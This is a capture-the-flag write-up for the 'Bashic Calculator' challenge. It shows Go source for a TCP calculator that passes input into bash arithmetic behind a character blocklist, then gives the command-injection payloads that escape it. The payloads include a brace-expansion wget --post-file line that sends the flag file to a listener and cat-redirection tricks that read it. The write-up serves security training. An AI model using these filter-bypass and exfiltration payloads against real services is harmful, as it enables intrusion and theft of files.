Bashic Calculator
3 minutes to read
We are given this source code in Go:
package main
import (
"bufio"
"context"
"fmt"
"net"
"os"
"os/exec"
"strconv"
"strings"
"time"
)
const (
connHost = "0.0.0.0"
connPort = "1337"
connType = "tcp"
)
func main() { // Used to stablish connections with the clients (not part of the challenge)
fmt.Println("Starting " + connType + " server on " + connHost + ":" + connPort)
l, err := net.Listen(connType, connHost+":"+connPort)
if err != nil {
fmt.Println("Error listening: ", err.Error())
os.Exit(1)
}
defer l.Close()
for {
conn, err := l.Accept()
if err != nil {
continue
}
fmt.Println("Client " + conn.RemoteAddr().String() + " connected.")
go minConnection(conn)
go handleConnection(conn)
defer conn.Close()
}
}
func minConnection(conn net.Conn) {
time.Sleep(600 * time.Second)
conn.Close()
}
type LocalShell struct{}
func (_ LocalShell) Execute(ctx context.Context, cmd string) ([]byte, error) {
wrapperCmd := exec.CommandContext(ctx, "bash", "-c", cmd)
return wrapperCmd.Output()
}
func handleConnection(conn net.Conn) {
conn.Write([]byte("CALCULATOR\n"))
for {
conn.Write([]byte("\nOperation: "))
buffer, err := bufio.NewReader(conn).ReadBytes('\n')
if err != nil {
conn.Close()
return
}
op := string(buffer[:len(buffer)-1])
firewall := []string{" ", "`", "$", "&", "|", ";", ">"}
for _, v := range firewall {
opL1 := len(op)
op = strings.ReplaceAll(op, v, "")
opL2 := len(op)
if opL1 > opL2 {
conn.Write([]byte(strconv.Itoa(opL1-opL2) + " '" + v + "' removed\n"))
}
}
shell := LocalShell{}
command := "echo $((" + op + "))"
output, _ := shell.Execute(context.Background(), command)
fmt.Println(conn.RemoteAddr().String() + ": " + command + " " + string(output))
conn.Write(output)
}
}
Source code analysis
It seems a lot, but basically it allows us to enter data inside $((...)). In Bash, this syntax is used for arithmetic expressions, for example:
$ bash -c 'echo $((1+1))'
2
$ bash -c 'echo $((7*7))'
49
The idea here is to escape from the arithmetic environment and execute commands to read the flag. However, we cannot enter these characters: (white space), `, $, &, |, ; and >.
Solution
Let’s start the service:
$ go run main.go
Starting tcp server on 0.0.0.0:1337
Client 127.0.0.1:51147 connected.
$ nc 127.0.0.1 1337
CALCULATOR
Operation: 1+1
2
One thing we can do is try to escape from the arithmetic environment using more parentheses. Another thing is that < is allowed, so we can execute commands using process substitution (<(...)). Moreover, to bypass that we cannot enter white spaces, we can use string expansion ({x,y,z}).
In a first attempt, I tried to leak the contents of the flag via HTTP, using this payload: 1))<(({wget,--post-file,../challenge/flag.txt,127.0.0.1:80}, so that the server runs:
$((1))<(({wget,--post-file,../challenge/flag.txt,127.0.0.1:80}))
And in fact, it works:
Operation: 1))<(({wget,--post-file,../challenge/flag.txt,127.0.0.1:80}
$ nc -nlvp 80
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:51168.
POST / HTTP/1.1
Host: 127.0.0.1
User-Agent: Wget/1.21.3
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
HTB{f4k3_fl4g_f0r_t3st1ng}
Nevertheless, the remote instance has no Internet connection, so we cannot exfiltrate the flag using this approach even if we used ngrok. So, there must be another way.
If we try to read the flag directly, we will receive the file descriptor, not the flag (that’s how process substitution works):
Operation: ))<(({cat,../challenge/flag.txt}
0/dev/fd/63
But we can come up with this simple payload: cat<../challenge/flag.txt)#(, so that the server runs:
$((cat<../challenge/flag.txt)#())
And it works again, but we read the flag in client side:
Operation: cat<../challenge/flag.txt)#(
HTB{f4k3_fl4g_f0r_t3st1ng}
There’s a similar payload that also works, which uses string expansion: {cat,../challenge/flag.txt})#(.
Operation: {cat,../challenge/flag.txt})#(
HTB{f4k3_fl4g_f0r_t3st1ng}
Flag
At this point, we can connect to the remote instance and get the flag (which is at /flag.txt according to the Dockerfile:
$ nc 104.248.173.13 32508
CALCULATOR
Operation: cat</flag.txt)#(
HTB{Ju4nck3r_15_y0ur_n4m3_15nt_1t?}